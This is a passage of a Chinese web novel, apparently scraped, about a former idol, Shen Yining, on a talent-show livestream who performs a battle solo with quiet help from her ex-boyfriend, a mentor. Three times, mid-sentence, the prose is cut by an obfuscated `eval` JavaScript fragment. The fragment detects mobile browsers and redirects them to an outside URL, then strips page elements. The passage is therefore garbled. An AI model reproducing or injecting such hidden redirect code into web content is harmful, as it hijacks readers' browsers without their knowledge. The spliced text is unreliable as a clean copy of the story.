四个导师中，除了贺彦这个低流量，剩下三个都会有各自的独立镜头，凌杭负责开场，宋晚照负责cue流程，祁致负责宣布最终评级结果。 其中最吸引眼球的自然就是祁致负责的评级部分。 虽然素人谈恋爱并不算什么大事儿，但是如果正主跟前女友一起上综艺，还亲眼看到正主给实力不强的前女友评A。 路人都看不下去，唯粉更是要原地爆炸。 四个导师评分完毕，开始汇总所有表格和加入讨论，其他人的评级都没有任何异议，唯独童夏月和贺彦。 对于童夏月，宋晚照和凌杭都是A，唯独贺彦和祁致填的B，毕竟是第一组严格一点不给首A也很正常，但是贺彦给沈亦凝填A是什么鬼？他们两可是一个给C一个给D啊。 还有祁致的表格里，所有人都填了评级，唯独沈亦凝一栏是空白。 宋晚照和凌杭不敢质疑祁致，只能是质疑贺彦了。 宋晚照已经震惊过，想来想去都觉得这样很不合理且不公平，低着头小声说，“你真的假的？” 真诚的眼神似乎在说，“你被绑架了就眨眨眼。” 凌杭道，“综合一下给吧，贺彦你的评价太主观离谱了。” 两人说完齐刷刷看向祁致，贺彦有些心虚，只能尴尬地笑了笑。 四个导师的评级表会被随机展示一个到大屏幕上。 贺彦用脚趾头想都知道第一回合节目组肯定会选择他的评级表。 于是当他评级表曝光的时候，他认命地闭了闭眼。 被随机选中的导师要一一点评台上所有人的表现。 贺彦客观的点评了除沈亦凝之外的所有人，在点评到沈亦凝的时候，几乎是咬牙切齿地跟着节目组给的台词照着念，“你表现得不错，据说你曾经出道过是吗？我相信你还是很有潜力的。” 沈亦凝没想过居然有导师给她评A，她跟贺彦私下并不认识，一时之间竟然分不清贺彦这是想捧她还是想捧杀她。 沈亦凝抽了抽嘴角，她非常有自知之明，知道自己今天表现得很差劲，如果放在在团时候出现这种表现，那绝对就是舞台事故级别的了。 只不过她仅仅也只是对自己被贺彦评A这事儿惊讶了一瞬，又很快回复了平静。 因为她心里有个猜想——该不会又是节目组的骚操作吧…… 整她的路数多了，她都快要被整免疫了。 麦克风此时传到她手上。 沈亦凝已经有点儿尴尬到脚趾扣地，但是还是神情十分自然地说，“谢谢导师。” 求求你了，别整我了ok？ 【我嘞个豆，真是A。】 【沈亦凝A，我看错了吧？】 【666，这个节目演都不演了，直接硬捧，评级不看实力。】 【沈亦凝这么反应平淡，】 【你们太单纯了，还真信这种选秀综艺是实打实的公正评分啊，沈亦凝背靠大公司YE，最后被保出道也正常啊，就是容易没父母[泪奔]】 台下也炸了，但是毕竟在现场，不能像直播间观众那样放肆吐槽，只能是你看看我我看看你，脸上的表情十分精彩。 此时众人的注意力和目光自然控制不住地全部集中在了祁致的身上，毕竟最终综合所有人的评价，折中给分的人是他。 但很显然，祁致好像没有要宣布最终结果的意思。 此时宋晚照的耳麦里，听到后台导演催促：“快超时间了，该进行下一组表演了。” 宋晚照只能出声提醒，“祁致，时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223491|163232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快到了。” 因为节目组要严格控制直播时间，最好不超过两个小时，于是要时刻把控时间。 评级和点评最好不超过三分钟。 在众人的期待下，祁致终于—— 终于低头整理了一下面前的几张评级表，慢条斯理地扶了一下麦，在这个激动人心的时刻开口说，“下一组表演，全体表演结束再统一评级。” 坐在祁致旁边的三位导师：“？” 策划导演：“？？” 观众和在场所有练习生：“？？？” 【啊？还能这样啊。】 【祁致果然是懂节目效果的，故意留个悬念，这么做直接硬控住直播间大部分观众。】 【就是啊哈哈哈哈，本来有些人看完自己喜欢的就直接退了，但是这样做的话，大部分人估计都会留到最后看结果吧。】 【不要啊呜呜呜！我不想等了，等到结尾，我都忘记哪些人表现好哪些人表现一般了笑死。】 【严格怀疑节目组想要捧沈亦凝，但是祁致实在太过公正，他不想给她首A。】 【楼上猜的估计才是真的，前任还能有什么感情啊，祁致绝对不想给A！】 台本原先写的流程是，一组表演完赶紧评级，祁致突然改变了规则。 让在场的所有人都傻眼了。 特别是节目组策划导演，面容都扭曲了一瞬间。 只不过综艺节目就是经常有些艺人不配合规则，这种不按常理出牌的行为虽为节目制造了看点，但也让导演组难以把控流程。 只不过祁致咖位大，在规则框架内自由发挥，导演也不好说什么，于是也只能咬咬牙让他这么干了。 第一组十位练习生在台上等得黄花菜都凉凉了，最后没有得到评级下台，那个感受简直就是折磨。 还不如早死早超生呢。 其中最折磨的人非沈亦凝莫属，她压根搞不懂为什么rapper导师贺彦会莫名其妙给他一个A。 表演结束的人重新坐回自己原来的位置。 剩下九组开始陆续上台表演，同一个舞蹈，只需要看到第五第六组，就已经开始有点儿审美疲倦了。 只不过四个专业导师神情一直很认真地考量。 每次表演结束，依旧会随机展示导师评级表，除了第一轮的评级充满争议之外，基本上后边的评级都比较主观。 第一轮被骂不公平的贺彦，在后几轮挽回了一点儿风评。 【这么一看贺彦还挺公正的啊，怎么第一轮的时候给沈亦凝评A，真搞不懂。】 【难不成是真看中了她有潜力？】 【服了，那还开出初舞台评级做什么，难度一般的主题曲都跳得这么难看，能评A就是不行。】 【祁致好严格啊，别说给A了，给B都很少，而且还评了一堆F。】 【可恶，为什么第一轮不公布祁致的评价表，我是真在乎他会给syn评什么。】 【估计评的F，结果节目组觉得实在是太丢保皇的脸，于是没放出来。】 【那确实很有可能哈哈哈哈哈！！】 【靠，祁致评的第一个A出来了，这可是祁致评的首A，由此可见含金量有多高了吧！】 【是任薇时！！我们小蔷薇终于站起来了。】 【给大家科普一下，任薇时，15岁内娱出道，她简直就是是我们这个世界上最可爱的小女孩～】 【出道过还来啊？】 【谁规定出道过就不能来了呀，“回锅肉”练习生还少吗？】 【都是回锅肉，看看差距吧，我在这里就不点名道姓了，大家懂得都懂。】 【沈亦凝：骂得好脏。】 十组中表现得亮眼的人其实很多，有个rapper很强，即使是十人组的共同合唱中，她到rapper部分依旧特别抓人眼球。 有个中性风格，实力全面，女生男相长得极帅，刚上台出现在镜头里，直播间就控制不住开始狂欢，疯狂飘屏“老公姐”。 还有几个台风很好，即使站在边角位，也很扎眼，就像童夏月和乐书竹。 只不过即使是百个人中已经有不少抢眼的人，最后一组才出场的任薇时，依旧是全场MVP。 拿下了祁致评的A，剩下三个导师对她也是称赞得多。 凌杭轻笑，“你的表演让我有一种眼前一亮的感觉。” 宋晚照惊叹惊叹：“你是目前我看过整个完整度最好的一个。” 贺彦惊讶说，“你实力很强，为什么选择去F班呢？” 观众称她为“低调的实力派”。 中国人对谦虚的人向来都会比较有好感一些，特别是又谦虚又有实力的，直播间许多观众都被任薇时给圈粉了。 她是完全没有任何悬念的全场MVP。 凌杭也夸了几句，随后扭头提醒了一句，“现在可以开始宣布最终评级了祁导师。” 每轮评级的结果送到祁致手里，分析整合出最终级别，由祁致宣布。 祁致如今手里拿着所有人的最终评级结果。 所有人着急，唯独只有祁致本人不急，他拿起蓝色麦克风，慢悠悠地开口，“那现在先宣布获得A等级的练习生——” 他大停顿了一秒钟，这短暂的一秒钟里，不知道多少人的心都悬起来了。 下一秒，祁致继续说完，“还是先宣布获得F等级的练习生呢？” 练习生人群中爆发出阵阵“哎呦”声，“吓死我们了！！！” 【笑死，也没人告诉我祁致也会玩冷幽默啊。】 【这是直播间也搞这种，我真服了哈哈哈。】 【意大利炮扛起来，400米大刀举起来！】 祁致卖了个关子，依旧没有着急宣布结果，而是说，“任薇时，还有没有其它才艺展示一下？” 【看到了没看到了没，这就是差距。任薇时是第一次被cue表演其它才艺的，其他人压根都没有这个机会！！包括某人，可见他们早就已经是过去式，谁再嗑过期糖，我就刀谁（磨刀中）】 【点进主页看了一下，果然是可怜的唯粉哈哈哈哈】 【任薇时太绝了，我迫不及待想看她表演其它舞蹈呜呜呜】 【祁致立大功，知道我们想看单独表演！】 在场的练习生对此都十分羡慕，毕竟全场就只有任薇时一个人能表演单独舞蹈，这就证明她是全场最C，今天最吸引眼球的人。 不仅如此还能有很长的镜头出镜。 能够在首次直播给观众留下深刻印象，只要她后续能够稳住，基本上都已经能够算是半只脚踏上出道位了。 任薇时有些受宠若惊，她愣了两秒，而后赶紧弯腰，语气十分诚恳地说，“有的祁导师，我准备了一段自己编的舞蹈。” 【自己编的？才女啊！】 【666，期待住了！！任薇时你绝！】 其它跟她同组的九位选手退台，把舞台留给任薇时。 任薇时表演了一段长达五分钟的舞蹈，舞蹈动作干净利落，拥有精准的下腰和摆胯技巧，且自然、流畅、不做作，具有律动感和魅力。 宋晚照显然对她十分满意，她舞蹈一结束，就忍不住开始疯狂鼓掌，“没什么可挑剔的，跳得非常专业！” 欣赏了一段很优秀的舞台作为缓冲，祁致点评几句，“表现的确很好，舞台很稳，只不过毕竟你是第一个拥有个人表演舞台的人，不知道台下的其它练习生是不是很羡慕？” 祁致坐在评委席，前面是舞台，后边是练习生们坐的观众席。 他说到这里，回头看了一眼，“有没有人敢和任薇时battle的？” 任薇时舞台这么炸，实力又强。正所谓没有对比就没有伤害，祁致此话一出，台下一阵沉默，甚至化为鸵鸟。 就像是老师举着麦克风在喊，"Dowehaveanyvolunteers?" 台下沉默。有实力的不好意思当首个上台的人，而没实力的就更不敢说话了。 祁致回过头来，心里倒数三秒。 三、二、一。 数到一，台下响起一阵惊呼，“哇！！！她真敢啊！！！” 祁致唇角小幅度轻扬。 他甚至没回头看观众席一眼，就知道是谁站起来了。 25. 落水浮木 从舞台上走下来，重新坐上观众席之后。 沈亦凝表面上看起来云淡风轻，但是实际上，她对于今天的糟糕表演还是挺耿耿于怀的。 虽然没跑调，没错舞蹈动作。但是也仅限于此了，因为熟练度不够，导致唱歌的时候没什么感情，舞蹈动作力度也不够……总之缺点还是挺多的。 沈亦凝比起在乎被骂，她更在乎且更让她难过的是，她没有办法在首次直播日，呈现出一个完美的舞台给观众。 于是刚才祁致说的那一句“有没有人敢和任薇时battle的？”在别人听来，像催命符，但是于她而言，却更像是寸草不生的贫瘠之地降下落雨。 沈亦凝压根来不及分辨这是祁致的刻意为之还是单纯巧合，只知道机会来时就要拼命抓住。 于是几乎没有任何犹豫就站了起来。 全场唯一一个站起来的人，是坐在金字塔尖的沈亦凝。 当她在所有人低着头，或不敢出头，或犹豫徘徊时，她已经没有丝毫犹豫地起身，并且淡定地说了一句， “我想进行battle。” 沈亦凝因为站的足够高，当她说下这句话的时候，台下的所有人都要抬头看她。 台下的人瞬间安静下来。 导师中除了祁致之外，均齐刷刷地回头看着她。不仅如此，几乎在场所有练习生包括工作人员的目光都集中在她身上。 就连直播间里一开始骂她的路人，和刻意黑她的黑粉、水军，都瞬间熄火。 内娱永远路人缘才是王道，毕竟一家粉丝独大这事儿是不可能的，当一个人的路人缘开始变得好起来的时候，黑粉水军无脑继续狂喷，只会出现适得其反的效果。 再说，沈亦凝的黑粉“沈金兵”和穷追不舍跟在她身后骂她的芝士球，也因为她这个举动，决定暂时不喷她了。 沈亦凝的黑粉构成大部分都是当初追kpop的那波人，因为她退团这事儿由爱生恨，实际上骂归骂，也是有点期待她重回舞台。 是属于一种又爱又恨的，十分病态的感情，既希望她好，又看不得她好。 此时她站起来，也许是让她们想到当初那个被簇拥C位出道的小女孩，起了一波回忆杀。 对她的“恨意”也淡化不少。 至于芝士球们，他们只是单纯因为觉得沈亦凝捆绑她们的正主，下意识觉得她是一个人品一般的茶姐，于是才讨厌她。 但她们也并非是非不分，当她彻底绽放人格魅力的时候，她们也是会被震撼到的。 在一片沉默中站出来的沈亦凝，就像是一把十分锋利的长剑，现在就这么如此笔挺地矗立在高处。 在这个瞬间，她仿佛整个人都在缓缓发光。 中国人也许更加倾向于喜欢内敛谦虚的人，可在不损害他人利益之下，刺破冰层的第一尾游鱼也同样值得让人得到尊重和喜欢。 此时站出来，甚至比刚才自我评级时，首位勇敢坐上第一王座的时候，带给人的震撼要更加地深刻一些。 这个世界上，很少有人敢于行动，敢于竞争，敢于在大多数人害怕自己做不到而选择退缩的时候，在众目睽睽之下，敢于承认自己的确有点儿天赋、也有点儿野心。 始终相信自己，心脏永远炙热。 毕竟研究发现，人类前额叶皮层在面对不确定性时会本能产生退缩反应。于是能够战胜这种本能，突破自己，是很困难的，却是很容易圈粉的一件事情。 这也是为什么，当她勇敢站起来时，路人缘瞬间变好的原因。 在众人对沈亦凝的勇气表示惊叹时，唯独只有祁致始终没回头，他只是转动着手中的笔，在回想起她刚才的表演。 其实从沈亦凝站在台上，主题曲音乐响起来，她开始正式表演的那短短十秒钟，祁致就发现了事情的不对劲。 像沈亦凝这样对自己舞台十分严格的人，是不可能允许自己出现这么大的舞台事故的。 这远远不是她应该有的水平。 于是他宁愿不给她评级。 祁致联想起昨天晚上，她为什么会通宵训练这件事情，也瞬间明白了昨夜她因何急迫。 或许他再阴谋论一点儿，就能够知道，昨晚沈亦凝到处找训练室，是因为有人在背后设计的。 沈亦凝找他把门打开，也是真的走投无路了，否则按照她的性格和脾性，看到他这个前男友绝对是避而不及的状态。 祁致忽地有点庆幸，那天晚上他到声乐室对稿子，并且抓紧时间对今天的开场表演做彩排。 否则他也许会错过她昨夜手足无措的瞬间。 而不仅昨天训练室的事情，就连今天这个表演，很明显背后有资本在操控，呈现出一个失败的舞台给在场所有观众看，在背后推波助澜引导观众对她发出攻击。 偌大的棋盘上，两方资本在博弈。 祁致目前没有办法堂堂正正把A给她，毕竟这么做会引发不必要争议，于是只能用这个办法。 他了解她。 她是一个会抓住一切机会也要努力往上爬的人，即使是浮游之身，也敢图春华的king。 于是在这合理的规则之下，他能够用自己目前手中的权利最后助她一把。 给她一个机会，让她重新以真正的自己重新走到舞台上。 而不是被节目组彻底操控的木偶。 即使这次评级依旧没有办法把A给她，但是至少能够让所有人知道她真正的实力。 直播间已经涌入理智路人粉了。 【说实话，不去偏听偏信她之前的黑料，就单纯评论她今天的直播表现，我觉得她其实是一个挺好的小姑娘啊。】 【没错，我感觉她应该不像营销号说的那样，喜欢营销自己以及做一些骚操作博取眼球。】 【点了，就刚才抢王座那件事情，好多人骂她，我其实不太理解，也许她就是一个敢争敢抢的女生罢了，就像现在这样，这只是对自己自信而已。】 【可是她刚才的主题曲表演考核的时候真的跳得很一般啊，她真的有勇气啊，直接跟在场表现最好的人进行battle。】 【要么双赢，要么被群嘲，挺有勇气的，实力就不知道怎么样了。】 …… 【歪个楼，你们难道不觉得祁致和沈亦凝这对前cp真的很好嗑吗？祁致问说谁想接受battle，结果全场就只有沈亦凝站起来了！！】 【呵呵，不好嗑，这个楼太歪了，】 【小鱼干这个群体实在是太小众了，嗑这两个人cp的cp粉能不能自觉一点把自己的粉籍给藏好啊，零个人想要嗑这对。】 【……不要这么性缘脑好不好，看到一点点的蛛丝马迹，就又莫名其妙地嗑上了。】 【对啊，祁致压根头都没回，他估计也不知道谁会站起来啊。更何况他说不定就是在简单cue节目流程而已，实际上压根不关心谁会站出来。】 【天天扯这对cp做什么，素人时期谈恋爱好像留下了赛博案底一样，整天说说说……我就只关心沈亦凝待会儿battle会跳什么舞台。】 【瓜子已经准备好，让我康康她是准备给我献上视觉盛宴呢，还是准备再次拉一坨大的。】 宋晚照没想到站起来的人竟然是沈亦凝，她挑了挑眉。 其实她也有种意料之中的感觉。 两年前，SunriseTribe的知名度在韩娱达到顶峰。宋晚照也是混女团的，她自然也听说过这个团C的名字，叫做沈亦凝。 只不过追kpop始终是一件很小众的事情，她们在海外火，在内娱也不过是无人问津。 宋晚照知道沈亦凝，是因为当时沈亦凝有个舞台十分出圈，作为混这一行的，自然也扒过她的舞蹈。 沈亦凝的舞蹈十分扎实。 宋晚照当时还想着有机会能跟她认识一下，却得到她退团的消息。 有不解，有疑惑，有惋惜。 但是毕竟两人之间从未有过太深交集，随着时间推移，宋晚照就渐渐淡忘了这个人。 直到两年后的这个综艺，宋晚照又再次遇到了沈亦凝。 宋晚照几乎瞬间记起了沈亦凝这个人，实话实说她也很期待沈亦凝的舞台——然而不尽人意。 沈亦凝今天的现场的表演，跟两年前，宋晚照在线上看到对方那个出圈视频里的她简直完完全全的两个人。 宋晚照有些疑惑，为何差距如此之大。 更疑惑沈亦凝当年因何退团，是生病，还是受伤，否则舞蹈技术怎么会退步的如此之快？ 宋晚照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可是她却没办法反抗。 因为她的确拿不出几十个w买版权费。 都说人不可自恨，可她却控制不住，恨自己此时的无能和弱小。 见她久久没有动作，众人疑惑了。 不是说battle吗，而且导师也同意给她单人solo的机会，怎么突然停下脚步不动了？ 祁致也意识到不太对劲。 终于没忍住，他轻皱眉回头看了一眼，越过人群，和她遥遥相望，碰巧对上视线的那个瞬间。 他的眼神似乎在问她，“怎么了？” 这次她没有再继续像往常一样躲避他的目光，而是直接迎接回去。 沈亦凝现在也不是完全没有破解导演组刁难的办法，只是要凭借外力。只不过她实在是不清楚，如今她再次深入险境时，如果企图朝他伸出手。 他究竟还会不会拉她一把。 就算是看在以往的情分上。 祁致。 我是否能相信你？ 沈亦凝最终决定破釜沉舟一试，即使事与愿违，让她摔得粉身碎骨。 直播间里开始狂扣问号。 在场的人也纷纷疑惑，沈亦凝怎么突然不动了。 就在全世界都不理解她的这一分钟里，沈亦凝只无声地和祁致对视，企图把他当成落水者最后的浮木。 在无人知晓的角落里，两个人已经无声地、隔空完成了对话。 许多年前，祁致曾经跟她说过，“如果你需要我的帮助，可以随时找我，我会尽全力帮助你。” “如果你实在不好意思说的话，只需要看着我的眼睛，我自己能猜到。” 这是独属于她们两个人的暗号。 只不过已经过去这么多年，沈亦凝并不确定祁致是否还记得。 她的舌根因为紧张泛起铁锈味，也似乎有千万只蝴蝶在胸腔振翅，心里悬着的大石头也在摇摇欲坠。 她怕他看不懂她的暗示，又或者压根不愿意帮她。 祁致举起蓝色麦克风，在一片安静中，轻启薄唇，吐出两个字，“可以。” 他居然猜到了。 26. 个人solo 在这两人隔着距离与人海，遥遥对视的短暂一分钟里，在场的其它人均属于一个懵圈的状态。 而后还开始纷纷猜测祁致刚才说的那两个字究竟是什么意思，又是在同谁说的？ 众人只觉得有点儿莫名其妙，又觉着有些突兀。 唯有沈亦凝垂落在身侧的手握紧又松开，心跳从紧张的急促，逐渐降为安稳的缓慢。 直播间观众开始无语飘屏，甚至开始控制不住狂喷，“这姐什么骚操作”、“让她上台怎么不动了”、“是不是其实没实力，就单纯想博眼球”时，却看到不知什么原因刚才突然变得踌躇不定的沈亦凝，像是突然有了底气，背脊挺立，仪态极好且步伐轻盈地登上舞台时，骂声就又消散了。 当一个人路人缘变好时，自会有人为她说话与打抱不平。 “突然宣布有battle这个环节，人家停顿个一两分钟准备一下怎么了？” “感觉今天直播间水军有点多，谁懂？” “我也觉得……好多无脑喷，看得我眉头紧皱，像她这种内娱糊咖，真有这么多人追着骂她吗，那不得直接顶流了？” “人家这不自信上台了吗，先看一下她的表演再喷吧。” 沈亦凝上台，工作人员递上麦克风，在众人期待之下，音乐响起，不少人开始打赌，她究竟会逆风翻盘呢还是拉坨大的。 但明显无法得到最终答案。 因为正在这种激动人心的时刻，众人期待着后续发展时，直播间却突然切了画面。 摄像头不再聚焦台上表演，而是直对着策划导演的脸。 直播弹幕飘屏—— “？？？秦寿生，关键时刻别逼我扇你。” “谁要看你这张肥猪脸啊，我要看美女表演，你丫的给我滚。” “秦寿生，你真是禽兽不如的东西，把直播画面调回来啊！！姐要看表演。” 秦寿生面无表情地宣布，“当初答应各位粉丝们录制第一期采取直播形式，直播两小时，现在两小时已到，我们节目组将关闭直播间，知道大家会不舍，但是我们还是要跟大家说再见啦。” “如果大家期待观看后续的话，可以在星果TV预约我们直播间，我们四个月后节目准时上线，到时候见。” 此时现场还并不知道直播间已经切屏，镜头也被拉远，还在很燃地关注台上表演。 直播间瞬间疯了： “我这两个小时看了个寂寞吧，battle没得看，最终评级没宣布，听了两小时一模一样的歌，你丫的直接给我在这个时候把直播间挂了？” “秦寿生你完蛋了，有病就去医院治病，策划什么节目啊。” “真想把你这个猪头丢进化粪池里，同类就应该放在一起。” “别挂啊大哥，这个关键的时候把直播间挂了，你社交平台私信就完蛋了。” 整整两个小时，直播间现在达到了空前绝后的大团结，全在声讨策划导演秦寿生，以及节目组。 秦寿生顶着巨大压力关闭直播间，其实他也并不想这么做啊，只是现下的走向已经完全脱离掌控。 若是继续直播下去，绝对会让沈亦凝吸一波粉。 资本目前押宝且想捧红的是其它艺人，就必须故意限制沈亦凝的曝光率，且尽量弱化她在镜头前的真正舞台实力。 在此时切断直播间，只能是秦寿生在短时间内唯一能够想出来的办法。 毕竟20w的歌曲版权费无法阻止沈亦凝上台，他们就只有采取planB计划，直接切断直播间，待正片播出时，尽量减少她的镜头，甚至一剪没，就什么烦恼都没有了。 即使这么做，秦寿生本人在短时间内会迅速招揽一系列骂声，但他毕竟不是艺人，不常活跃在幕前，如今有点儿负面言论在他身上，也很快就过去了。 至于沈亦凝，若是不及时打压，她一旦冒头，其它艺人将如何捧红？预设剧本也无法进行下去。 沈亦凝二次登台，还未开口献唱直播间迅速关闭。 不多不少，正好直播时长满两小时。 关闭后仅十分钟，激起民愤，节目热度在这时被迅速推上高潮，＃破茧出道营吊人胃口＃和＃秦寿生畜生＃一词，冲上热搜。 在不为人知的角落里，＃祁致可以＃摸摸有了热度，只不过未等在热搜冒头，背后有资本护着，迅速将这个热搜撤了下来。 在背后资本刻意控制之下，今天直播通道关闭后，谈论得最欢的就是“沈亦凝battle表演究竟如何”，“最终9个A究竟花落谁家”。 甚至还有人在微博设置了投票，票选你认为最可能为A的人选。 但即使如此，也不妨碍CP粉们在暗处偷偷嗑糖，毕竟有种糖特别好嗑，不是被人专门喂入嘴里的工业糖精，而是自己掘地三尺找出来的糖渣，带着一种似真非真、若有若无的感觉甚是仙品，甚至拉郎两个完全没交集的人也照样能嗑。 《破茧出道营》这个节目直播间关闭后不久，“祁沈不渝”超话最新一条热贴—— 「谁说我们过期糖不好嗑，点击查看豹豹猫猫隔空对视」 楼主配图九宫格动图.gif。 1L：谢邀，这场直播真是看得我少女心都出来了。 2L：小鱼干们都挺直腰板，谁说我们CP不好嗑的？谁懂这种目光代替拥抱的感觉，他们很明显在盯着对方，专门在内娱胡乱捡糖十年，这点东西我还是能看得出来的。 3L：楼主速度真快，我刚在直播间里看到这里，美美嗑上了，还以为就只有我一个人get到。 4L：我也get到了。这十几秒钟里，他们百分百在对视，而且看楼主发的动图5和动图6，在祁致说完“可以”两个字的前后一秒钟，小沈宝宝面部表情都不一样，前一秒十分紧张，后一秒直接就放松下来了。 9L：666，几天不见这个傻逼超话CP粉又增加了，当时台下这么多练习生，祁致回头看了一眼就是只看某茶？这么硬的糖也嗑，神经病。 10L：我都说了小鱼干这个群体脑子有问题。啊对对对，祁致看她一眼就是喜欢她，那干脆以后祁致自戳双目算了，当个瞎子，以后谁也别看，省得被莫名其妙的CP粉彻底yy。 毫无意外，这两层楼直接被冲爆了。 52L：你们这些人单纯就是小时候三鹿奶粉喝多了吧，神经病吧我请问？究竟是谁莫名其妙，在CP超话里唯粉黑粉能不能滚啊，看不惯你们。 53L：你们是没家吗？这是CP超话，不专门嗑CP，难不成专门磕开你脑瓜子看里边是装水泥还是大粪吗……建议主修《异常人类行为学》，你们简直是活体教材。 54：上次屠我们CP超话的就是芝士球，祁致唯粉。要不是嗑CP对男方有好感，真像削你们。 55L：真是没事找事，我们只想安静嗑个CP，怎么没见女方粉丝来CP超话随地拉屎。 101L：有的姐妹有的，只不过女鹅唯粉没多少，大多数都是她的黑粉，也不拆CP，经常在CP超话骂她几句就跑，极度纯恨的一个组织，神戳戳的。 108L：美女太惨，她到底怎么做到粉丝构成中黑粉占比80％的，这合理吗？很明显这场直播间很多水军冲她，好多评论重复的，到底谁在相信她是保皇，炮灰还差不多。 1770L：一群人骂她，但是翻来覆去也就两个黑料，这不是水军是什么。真恨直播间没把battle那一段放出来，否则狠狠打黑子的脸。 2000L：我是CP粉偏女，讲真两人素人时期谈恋爱真算不上塌房，甚至女鹅当时正值青春，分手后刚在韩娱出道时更是颜值巅峰期哈，那个年龄的她配世界哪个男的都配得上。 - 直播结束，互联网掀起一阵腥风血雨，总之讨论什么的都有，大流量＋大制作＋大平台，抓马环节和悬念都有，想不爆都难。 在场练习生和导师都不知道此时的腥风血雨，只是盯着台上，看台上的沈亦凝表演。 这是沈亦凝阔别舞台多年之久，真正意义上地首次重新站回舞台上。 无人操控，不用刻意隐藏实力，她就只是她自己。 沈亦凝早已退团，自然不能唱在团时的歌，甚至曾经属于她的个人歌曲，版权如今也在公司手里。 她随便选了首歌，比较冷门却是自己经常听的，版权费应该不会太贵，重点还是她的表演。 音乐响起前奏仅仅三秒钟，沈亦凝背对舞台开场，转身一个转身招手，加个地板wave起势，微微弯唇，切换烟嗓rap开场，反差感十足。 在舞台上表演的她就像是直接换了一个人，仅仅只用了几秒钟，就已经瞬间征服了台下的所有人。 导师们的表情变得精彩起来。 台下的练习生们也忍不住开始交头接耳，纷纷议论了起来。 “大长腿，天鹅颈，身材这么好，长得也好看，舞台更好，怪不得这么有勇气直接登台solo了呢。” “怎么感觉她像是换了一个人，明明刚才跳集体主题曲的时候，她其实并不出彩。” “刚才集体评级的时候，舞台确实一般，但是实话实说，我的视线却落在她身上好几眼，因为太漂亮了。” 沈亦凝确实很漂亮，眉如柳，鼻如峰，五官精致了一个恰到好处。常言道美人在骨不在皮，可偏偏有人皮囊与骨相俱极佳。 但是在这种炫技的舞台上，加上现场美女并不少，只凭借一张漂亮的脸，也许能够吸引一些人注意力。 可最终还是得舞台来说话。 普通的花瓶很难吸引慕强的中国人。 个人solo表演进行到30s，台下人发出一声喟叹。 “表现力这么强，刚才她放水了吧。” “我去，好有星味，这是能说的吗，怎么感觉比任薇时的舞台还要更好一点呢。” “因为沈亦凝更能掌控舞台是吗，她表情管理好绝，如果我要个人solo的话可以估计我得紧张得发抖。” “所以啊，现在站在舞台上的人是她不是我们。” 机会不仅属于勇敢的人，还属于真正有实力的人。 “……扎心了老铁。” 星味更像是一个人的气质，也是身为一个女团来说很重要的东西。 通俗点儿的来说，也约等于舞台感染力和舞台表现力。 有些大前辈，只需要在舞台上一站，都不需要有什么特别大的动作，一甩头发一招手，又或者是一个眼神，星味就溢出来了。 这种东西可遇不可求，也许天生便自带，也许后期要花很大的努力去努力练习。 在场唱得好的选手并不少，但有些可能是好的歌者，却并不是好的表演者，在舞台上的时候表演就会变得干巴巴的。 更别说沈亦凝在这次表演之前她甚至都还没有彩排过。 没点儿实力是真的没办法有好的表现，毕竟在场无灯光无修音无滤镜甚至收音也又干又生。 沈亦凝这次表演的舞台表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283514|163232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现力却极强，甚至她选的舞蹈还比较简单，没有刻意炫技的成分。 可谓浑然天成，表情管理也很强，像是自然流露，和舞蹈和歌词和现场氛围很完美的融合到一起。 除了总有舞台表现力，表情管理也十分重要。 即使是已经出道的普通爱豆，表情管理部分也像卡点一样，很明显的这个动作该配这个表情了，下一个动作该换成下一个表情，很别扭。 明明沈亦凝此时身上穿着的是普普通通的统一服装，整个人透着一股致命诱惑力，就像一朵诱人上瘾的罂粟花，清绝不可方物。 其实也叫做有生命力，就是那种劲劲儿的感觉。 这样的人，天生就适合舞台。 她只表演了一分钟，毕竟是舞台上唯二的solo，能够有一分钟时间，对她来说也已经够了。 而且征服台下的人，一分钟也已经足够。 endingpose，掌声如雷。 任薇时坐在台下，看完整场表演，表情微微一变，有赞许有惊叹有羡慕还有一丝丝的嫉妒。 人性使然，刚才的优越感顿时荡然无存，她坐直了身板，认真审视台上刚结束表演的人，把沈亦凝当成了潜在的最有威胁的对手。 但她也不至于小肚鸡肠，还是释然地送了掌声给她。 宋晚照跟凌杭依旧稳定发挥，化身夸夸小能手，贺彦此人表现尤其夸张，他似乎也没料到台上的沈亦凝竟然能够表现得这么好，嘴角都翘到太阳穴。 毕竟沈亦凝表现得好了，之后剪辑出来，或许他刚才给她评的就会显得没有这么突兀。 甚至还会有人帮他说话，说他看到了她的潜力之类…… 贺彦怎么可能不开心呢。 沈亦凝下舞台，开始进行下一环节——正式评级。 由祁致从晋级A班开始宣布晋级人选，虽说此时的现场直播间已经正式关闭，可是录制还要继续。 环节仍然需要进行下去。 台下切切私语，从讨论度最高的“任薇时”，开始讨论到“沈亦凝”。 “都这样了，沈亦凝能进A吧，太会控场了。” “她集体评级的时候跳不好啊，评A会有争议吧。” 